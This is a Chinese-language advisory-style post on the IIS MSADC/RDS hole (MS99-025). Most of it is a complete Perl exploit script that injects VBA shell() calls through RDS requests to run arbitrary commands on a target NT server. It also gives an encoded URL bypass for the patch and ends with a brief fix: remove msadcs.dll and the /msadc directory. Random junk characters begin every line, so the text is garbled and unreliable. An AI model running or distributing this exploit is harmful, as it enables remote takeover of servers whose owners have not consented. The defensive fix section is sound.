IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
\2K _"5 B-<H8[GkG1 涉及程序：
g UcG# Microsoft NT server
9?
#pqw jo-qP4w 描述：
c-2##Pf_8O 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
K`25G_Y3@ X R =^zp? 详细：
yE \dv)(< 如果你没有时间读详细内容的话，就删除:
>c~ Fg s c:\Program Files\Common Files\System\Msadc\msadcs.dll
`oxs;; P 有关的安全问题就没有了。
G%V*+Ond uH 6QK\ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
BpGK`0H UqP %S$9 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
% e@Jc 3 关于利用ODBC远程漏洞的描述，请参看:
!/6`< eQ
` jNIZ!/K http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm tyH*epa nw {=Y.Z1E: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
E_aDkNT http://www.microsoft.com/security/bulletins/MS99-025faq.asp 22|a~"Z .!\NM&E 这里不再论述。
L b'HM-d V=@M!;'< 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
:d7tzYT ^ M] +FTz /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ier0F7]I 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
DKjkO5R\ \ > @'wl Z?vbe}pUM #将下面这段保存为txt文件，然后: "perl -x 文件名"
U(.3[x 0 ;b%@_E #!perl
J(\]3 9y #
m|RA@sY%` # MSADC/RDS 'usage' (aka exploit) script
p.gaw16}> #
gX}(6RP_! # by rain.forest.puppy
-L&FguoVB #
&wlSOC')j # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
P(1 bd"Q # beta test and find errors!
pMB~Lt9 5df~] -=0Y use Socket; use Getopt::Std;
{~"&$DY2 getopts("e:vd:h:XR", \%args);
7h4"5GlO0 kT!Y~c print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
eQ}o;vJN &J\V
!uVo if (!defined $args{h} && !defined $args{R}) {
*}t,:N;i print qq~
)1KlcF Usage: msadc.pl -h <host> { -d <delay> -X -v }
JVzU'd;1! -h <host> = host you want to scan (ip or domain)
]"3(UKx -d <seconds> = delay between calls, default 1 second
@bN`+DC!< -X = dump Index Server path table, if available
H$
!78/f -v = verbose
v Kzq7E -e = external dictionary file for step 5
D3^Yc:[_@ USKa6 <:{W Or a -R will resume a command session
2qb,bp1$ ;xnJ+$//U ~; exit;}
kp~@Ub
@O3 5z8!Nmb/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
BPoY32d"_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
F+Qp
mVU if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H+]>*^'8 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+%$'( t s $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
vGK'U*gGD if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`YDe<@6' B r GaCja if (!defined $args{R}){ $ret = &has_msadc;
D (MolsKc? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?lh
`>v 6#/Riu% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
L}bS"=B[&W . "cmd /c ";
? jywW$ $in=<STDIN>; chomp $in;
< c[+60p" $command="cmd /c " . $in ;
#6[ 7q6{ 4 :
k VEB<G if (defined $args{R}) {&load; exit;}
.c[v /SB] MCOz-8@|Y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=R08B)yR &try_btcustmr;
Rw$>()}H8 $J>J@4 print "\nStep 2: Trying to make our own DSN...";
n\Z& sc &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]%yph3C FbMX?T"yH print "\nStep 3: Trying known DSNs...";
dF$Fd{\4^ &known_dsn;
$Ik\^:- /( /)nYAjk print "\nStep 4: Trying known .mdbs...";
By| y: &known_mdb;
c=U1/=R5 C F2*W).+ if (defined $args{e}){
nVqFCBB print "\nStep 5: Trying dictionary of DSN names...";
k_rtsN &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
;%r#p v~ QRs!B!Fn0 print "Sorry Charley...maybe next time?\n";
j P{LMmV exit;
C3M r) 5B [k Z?> ##############################################################################
a'f0Wv0%" *5DOTWos sub sendraw { # ripped and modded from whisker
[p%@ pV sleep($delay); # it's a DoS on the server! At least on mine...
MLV_I4o my ($pstr)=@_;
<$WRc\}&g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Cd:ofv/3 die("Socket problems\n");
tBNkVh(c if(connect(S,pack "SnA4x8",2,80,$target)){
`!?SA<a: select(S); $|=1;
FcnSO0G% print $pstr; my @in=<S>;
)q?z "F| select(STDOUT); close(S);
#!wL0 p return @in;
~ {sR K } else { die("Can't connect...\n"); }}
%m:T?![XO T&_!AjH ##############################################################################
C wKo'PAJ zG_e= sub make_header { # make the HTTP request
fL9R{=I% my $msadc=<<EOT
'&/"_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
(>THN*i User-Agent: ACTIVEDATA
WH F>J Host: $ip
qRMH[ F$` Content-Length: $clen
Jsee8^_~ Connection: Keep-Alive
^ c1%$@H |k~\E|^ ADCClientVersion:01.06
\29a@ 6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
= ]h 5RC }(AgXvRq --!ADM!ROX!YOUR!WORLD!
#un#~s
7Q Content-Type: application/x-varg
M6E.!Cs Content-Length: $reqlen
@Oe!*|?mS Py$*c EOT
5gP#V
K ; $msadc=~s/\n/\r\n/g;
`nA_WS return $msadc;}
a9 =,P r2A(GUz ##############################################################################
m2[q*k]AtS 73?ZB+\)0A sub make_req { # make the RDS request
^
q]BCOfJ( my ($switch, $p1, $p2)=@_;
GWZ0!V my $req=""; my $t1, $t2, $query, $dsn;
Ds|/\cI$%a vpOn0([hS if ($switch==1){ # this is the btcustmr.mdb query
5_U3Fs $query="Select * from Customers where City=" . make_shell();
vmI ]N $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
L1 "y5HJ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
k;v2 3 |t^7L )&y elsif ($switch==2){ # this is general make table query
4e d+'-"m $query="create table AZZ (B int, C varchar(10))";
%C*oy$. $dsn="$p1";}
PJu)%al Km2ppGLNn elsif ($switch==3){ # this is general exploit table query
wy5vn?T@ $query="select * from AZZ where C=" . make_shell();
t.m65 $dsn="$p1";}
hETT D% MR$Bl"d elsif ($switch==4){ # attempt to hork file info from index server
45l/)=@@B $query="select path from scope()";
1<_i7.{ k $dsn="Provider=MSIDXS;";}
EB '(%dH tp2CMJc{L elsif ($switch==5){ # bad query
;\=W=wL( $query="select";
hv
18V>8 $dsn="$p1";}
*
";A~XNx M$ L1!o1Xf $t1= make_unicode($query);
^ g`1SU` $t2= make_unicode($dsn);
SGn:f>N $req = "\x02\x00\x03\x00";
JF]HkH_u $req.= "\x08\x00" . pack ("S1", length($t1));
{.tUn`j6V $req.= "\x00\x00" . $t1 ;
YC\~PVG $req.= "\x08\x00" . pack ("S1", length($t2));
X$w ,zb\ $req.= "\x00\x00" . $t2 ;
-:(,<Jt< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
PdG:aGQ> return $req;}
` INc Zr" |V{'W-`
|[ ##############################################################################
2ul!f7#E 7-81,ADv( sub make_shell { # this makes the shell() statement
:70cOt~Z return "'|shell(\"$command\")|'";}
-fu=RR SesJg~8 ##############################################################################
n0#HPI" ;wCp j9hir sub make_unicode { # quick little function to convert to unicode
xe[Cuy$P my ($in)=@_; my $out;
Hk%m`|Z for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
e$|g return $out;}
)
'x4#5] %7q, [g8 ##############################################################################
<\c 5 Hs<vCL \ sub rdo_success { # checks for RDO return success (this is kludge)
SlvQ)jw% my (@in) = @_; my $base=content_start(@in);
EeWCy5W if($in[$base]=~/multipart\/mixed/){
u=
(
kii=/ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
RWf4Wh?d return 0;}
('!90 #LEK?]y ##############################################################################
+hg|!SS@5 zRsG$)B sub make_dsn { # this makes a DSN for us
A<.`HCv2 my @drives=("c","d","e","f");
?g2Wu0< print "\nMaking DSN: ";
Gc}d#oo*k foreach $drive (@drives) {
aloP@U/\Sn print "$drive: ";
D^P_3
B+ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
O
[GG<Um "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
< \@JbL* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ZiodJ"r $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
X<J
NwjM% return 0 if $2 eq "404"; # not found/doesn't exist
FQSepUl if($2 eq "200") {
)y-y-B=+T foreach $line (@results) {
v0`E
lkaN return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
hp6S *d
} return 0;}
/m%Y. :g qJ!&H ##############################################################################
D 4^2F(YRX hh`7b ,+ 4 sub verify_exists {
?fcQd6-} my ($page)=@_;
5'gV_U my @results=sendraw("GET $page HTTP/1.0\n\n");
4' bup h1( return $results[0];}
y)? Sn D OiL3i"H ##############################################################################
DWZ!B7Ts q?'*T?| sub try_btcustmr {
!Y/$I?13Z my @drives=("c","d","e","f");
!q!.OQ my @dirs=("winnt","winnt35","winnt351","win","windows");
1t/#ZT!X/ & D4'hL 3 foreach $dir (@dirs) {
%{s<h6{R print "$dir -> "; # fun status so you can see progress
=xFw4 D9 foreach $drive (@drives) {
62 Yi1<kV@ print "$drive: "; # ditto
pA9^-:\* $reqlen=length( make_req(1,$drive,$dir) ) - 28;
io^^f| $reqlenlen=length( "$reqlen" );
Ul7)CT2: $clen= 206 + $reqlenlen + $reqlen;
7 a 4G: Kf
D8S my @results=sendraw(make_header() . make_req(1,$drive,$dir));
hke Oe if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
jI!}}K)d else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
wN8-M e Hj"` z6@7 ##############################################################################
_c?&G` J< BBM.^ ] sub odbc_error {
jV`xRj h my (@in)=@_; my $base;
HYf&0LT<11 my $base = content_start(@in);
r` }')2 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Mp9wYM* $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uG@Nubdwuy $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m[,!
orq $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xpt *S ~ return $in[$base+4].$in[$base+5].$in[$base+6];}
8 W
Mhe=[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
V~`
?J6 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
XfmPq'#Z $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
57^ X@ra$ LC)-aw> - ##############################################################################
q-O=Em <* .4pWyqU)! sub verbose {
|T0jq my ($in)=@_;
ZAVj q;bq return if !$verbose;
i E>E*!aBg print STDOUT "\n$in\n";}
e*.l6H/B 6VpT*,2d~ ##############################################################################
^ 6`"f f}b= FV{ sub save {
21x?TZa my ($p1, $p2, $p3, $p4)=@_;
9mfqr$ 3 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
E'zLgU)r` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
XhjH68S( close OUT;}
E c[-@5x OD
09XO ##############################################################################
< I[ Vv'x p = _K P9 sub load {
M \rW my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`8xt!8Z$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:it52* 3= @p=<IN>; close(IN);
7<['4*u $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
1*<m,.$ $target= inet_aton($ip) || die("inet_aton problems");
j h \L)a* print "Resuming to $ip ...";
W3K?K- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$-'p6^5 if($p[1]==1) {
tb#. Y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
S,,,D+4 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[=imF^=3Vb my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
hs< )< if (rdo_success(@results)){print "Success!\n";}
;LM`B^Q]s else { print "failed\n"; verbose(odbc_error(@results));}}
:G\f(2@ elsif ($p[1]==3){
n!e4"|4~z if(run_query("$p[3]")){
hOjy$Z print "Success!\n";} else { print "failed\n"; }}
o8c4h< , elsif ($p[1]==4){
Cc7PhoPK if(run_query($drvst . "$p[3]")){
~YO 99PP print "Success!\n"; } else { print "failed\n"; }}
9`eu&n@Z exit;}
;2 -% IA ,
;L(2Ffk8 ##############################################################################
[ h20y -E_lwK sub create_table {
` MtI>x
c my ($in)=@_;
;(AVZ xCM $reqlen=length( make_req(2,$in,"") ) - 28;
wd&Tf
R4! $reqlenlen=length( "$reqlen" );
7:'7EqM $clen= 206 + $reqlenlen + $reqlen;
V'y,{YpP my @results=sendraw(make_header() . make_req(2,$in,""));
$6Z@0H@X return 1 if rdo_success(@results);
~ _R 8; b my $temp= odbc_error(@results); verbose($temp);
LRl2@&z< return 1 if $temp=~/Table 'AZZ' already exists/;
@%mJw
u return 0;}
YD1
:m3 l! X,dOF=OJL ##############################################################################
iX,| ;J|] v.Wkz9
w} sub known_dsn {
se O7 /h_a # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,x#5 .Koz my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
qBL >C\V + "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#)hc^gIO&< "banner", "banners", "ads", "ADCDemo", "ADCTest");
G*. }EoA Kv3cK Nvu~ foreach $dSn (@dsns) {
@X\-c2= print ".";
SJ4[n.tPI next if (!is_access("DSN=$dSn"));
Q@zD'G > if(create_table("DSN=$dSn")){
ha_ &U@w print "$dSn successful\n";
#_) <~ if(run_query("DSN=$dSn")){
QEo
i9@3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Jb+cC )( print "Something's borked. Use verbose next time\n";}}} print "\n";}
TV#X@jQ rbfP6t:c3 ##############################################################################
"i3wc&9!?W ^]_[dqd sub is_access {
e%_2n=p~)% my ($in)=@_;
RQ}0f5~t $reqlen=length( make_req(5,$in,"") ) - 28;
6A p-J~4 $reqlenlen=length( "$reqlen" );
kOi@QLdN $clen= 206 + $reqlenlen + $reqlen;
Hg<d%7. my @results=sendraw(make_header() . make_req(5,$in,""));
VnqgN my $temp= odbc_error(@results);
_Ec9g^I10 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4 XSEN ]F return 0;}
Y#[jDS(ip 701ei; ##############################################################################
-js:R+C528 E i@w*.3P< sub run_query {
n1D,0+N= my ($in)=@_;
j?a^fcXB $reqlen=length( make_req(3,$in,"") ) - 28;
op!8\rM<e $reqlenlen=length( "$reqlen" );
Yn!)('FdT! $clen= 206 + $reqlenlen + $reqlen;
c8' a<<sj my @results=sendraw(make_header() . make_req(3,$in,""));
l0hcNEj{W return 1 if rdo_success(@results);
w"?H4 my $temp= odbc_error(@results); verbose($temp);
yb{ud return 0;}
1n HQ)od UqJ}5{r t ##############################################################################
wB %:RI, ,T:Uk*Bj sub known_mdb {
Q7u/k$qN my @drives=("c","d","e","f","g");
i|5.DhK} my @dirs=("winnt","winnt35","winnt351","win","windows");
NF9fPAF%; my $dir, $drive, $mdb;
[=f(u
wY>g my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O"%b@$p\L 3QNu7oo # this is sparse, because I don't know of many
|"t)#BUtL my @sysmdbs=( "\\catroot\\icatalog.mdb",
1>5l(zK!9 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
1<
22, "\\system32\\certmdb.mdb",
IY$v%%2WZ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
C%#%_
"N zvJQ@i"Z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Yi?X|"\` "\\cfusion\\cfapps\\forums\\forums_.mdb",
> J4Tk1//b "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
([v yY}43h "\\cfusion\\cfapps\\security\\realm_.mdb",
9
GEMmo3 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q)`3&b "\\cfusion\\database\\cfexamples.mdb",
QYl
Pr&O9 "\\cfusion\\database\\cfsnippets.mdb",
2VB|a;Mo "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^g^R[8 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"g aurr3 "\\cfusion\\brighttiger\\database\\cleam.mdb",
$hND!T+ ; "\\cfusion\\database\\smpolicy.mdb",
q 6R`` "\\cfusion\\database\cypress.mdb",
>ucVrLm,X "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'E_M , Y "\\website\\cgi-win\\dbsample.mdb",
v2Lx4:dzi "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
l~_] k "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
X*4iNyIs_ ); #these are just
xLZJ[:gr foreach $drive (@drives) {
kBF.TGT[l foreach $dir (@dirs){
/#WRd}IjK foreach $mdb (@sysmdbs) {
H > Y0R print ".";
FBDRb J
su if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
F?h{IH
f print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{0~ Sj% Ze if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
}K<% h print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
..Q$q2. } else { print "Something's borked. Use verbose next time\n"; }}}}}
)1E[CIaXK 'aj97b;lpG foreach $drive (@drives) {
m I$< +S1! foreach $mdb (@mdbs) {
"#<P- -E 9 print ".";
0j@nOj(3 if(create_table($drv . $drive . $dir . $mdb)){
#ZzFAt print "\n" . $drive . $dir . $mdb . " successful\n";
aHhr_.>X if(run_query($drv . $drive . $dir . $mdb)){
yf
7Sz$Eq print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
">-J+ST% } else { print "Something's borked. Use verbose next time\n"; }}}}
$-x@P9im }
}MW7,F 2=?:(e9 ##############################################################################
$ 9~6M* H YA < sub hork_idx {
_BC%98:WP print "\nAttempting to dump Index Server tables...\n";
<in#_Of {E print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0ZRIi70u $reqlen=length( make_req(4,"","") ) - 28;
( L{>la! $reqlenlen=length( "$reqlen" );
)R~l@QBN $clen= 206 + $reqlenlen + $reqlen;
gAFu my @results=sendraw2(make_header() . make_req(4,"",""));
[.ya&E)x if (rdo_success(@results)){
#Qi r%\*V my $max=@results; my $c; my %d;
Ll2yJ
.C4 for($c=19; $c<$max; $c++){
"xr=:[n[ $results[$c]=~s/\x00//g;
-XuRQ_)nG $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
.zm/GtOV@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
M/Twtq-`H $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
M&93TQU- $d{"$1$2"}="";}
-a ^%9 U foreach $c (keys %d){ print "$c\n"; }
pUp&eH } else {print "Index server doesn't seem to be installed.\n"; }}
O6
: GE'S lMn1e6~K ##############################################################################
[wLK*9@& Q/u2 Q;j> sub dsn_dict {
0`=>/Wr39 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&1Zq C; while(<IN>){
_klT $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
1o
Z!Up0 next if (!is_access("DSN=$dSn"));
#0:N$'SZ if(create_table("DSN=$dSn")){
zw2qv ' print "$dSn successful\n";
L
lNd 97Z if(run_query("DSN=$dSn")){
Tgf\f%,h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`l%)0)T print "Something's borked. Use verbose next time\n";}}}
m|/q
o print "\n"; close(IN);}
X npn{ OrG1Mfx&2% ##############################################################################
w$`[C+L ] ,?$& sub sendraw2 { # ripped and modded from whisker
3RbPc8($Y sleep($delay); # it's a DoS on the server! At least on mine...
G (Ky7S Z my ($pstr)=@_;
! 0}SZ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%U< 1] die("Socket problems\n");
&/\Q 6$a if(connect(S,pack "SnA4x8",2,80,$target)){
l- mt{2 print "Connected. Getting data";
1xf
Pe# open(OUT,">raw.out"); my @in;
)XFaVkQ} select(S); $|=1; print $pstr;
Z)Zc9SVC while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
K}OY!| close(OUT); select(STDOUT); close(S); return @in;
&"R`:` XF } else { die("Can't connect...\n"); }}
N4L#$\M "/#=8_ f ##############################################################################
.)Wqo7/Gx .%x1%TN sub content_start { # this will take in the server headers
W Z_yaG$U my (@in)=@_; my $c;
&{gD(QG for ($c=1;$c<500;$c++) {
l(B(g PvU if($in[$c] =~/^\x0d\x0a/){
Zf,9 k".'C if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3$~oQC else { return $c+1; }}}
h!zev~u1)` return -1;} # it should never get here actually
ab!Cu8~v i(9 5=t( ##############################################################################
n2p(@
I@M3u/7 sub funky {
;WP%)Z my (@in)=@_; my $error=odbc_error(@in);
xG7/[ jG if($error=~/ADO could not find the specified provider/){
5Z <y||= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0W6j F5T exit;}
z, f if($error=~/A Handler is required/){
==ZL0 ][ print "\nServer has custom handler filters (they most likely are patched)\n";
^+MG"|)u~ exit;}
%b1NlzB+ if($error=~/specified Handler has denied Access/){
S= ^kR [O" print "\nServer has custom handler filters (they most likely are patched)\n";
?c6`p3p3L exit;}}
\F'tl{'\@ #GVf +8" ##############################################################################
02F\1fXS 0!5 w0^1 sub has_msadc {
UXdnN;0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
F, 39'<N[ my $base=content_start(@results);
rG t/ /6 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
6!|/(~ return 0;}
71I: P|.> g.]S5( ########################
Ia%S=xU{= "BvAiT{u 2zlBrjk; 解决方案：
N ,0&xg3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
1Y6DzWI 2、移除web 目录: /msadc
